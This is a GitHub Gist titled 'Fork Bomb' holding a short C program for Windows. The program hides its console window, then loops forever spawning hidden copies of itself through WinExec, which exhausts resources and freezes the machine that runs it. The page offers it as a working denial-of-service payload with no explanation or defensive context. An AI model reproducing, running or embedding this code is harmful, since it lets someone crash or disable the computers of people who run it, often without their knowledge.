Skip to content

Instantly share code, notes, and snippets.

@erayarslan
Created July 17, 2014 10:41
Show Gist options
  • Save erayarslan/c354c49c92e66e86f4a7 to your computer and use it in GitHub Desktop.
Save erayarslan/c354c49c92e66e86f4a7 to your computer and use it in GitHub Desktop.
Fork Bomb
#include <windows.h>
#define hide ShowWindow(GetConsoleWindow(),SW_HIDE);
#define fork while(0x01) { WinExec(argv[0],SW_HIDE); }
void main(int argc, char* argv[]) { hide;fork;}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment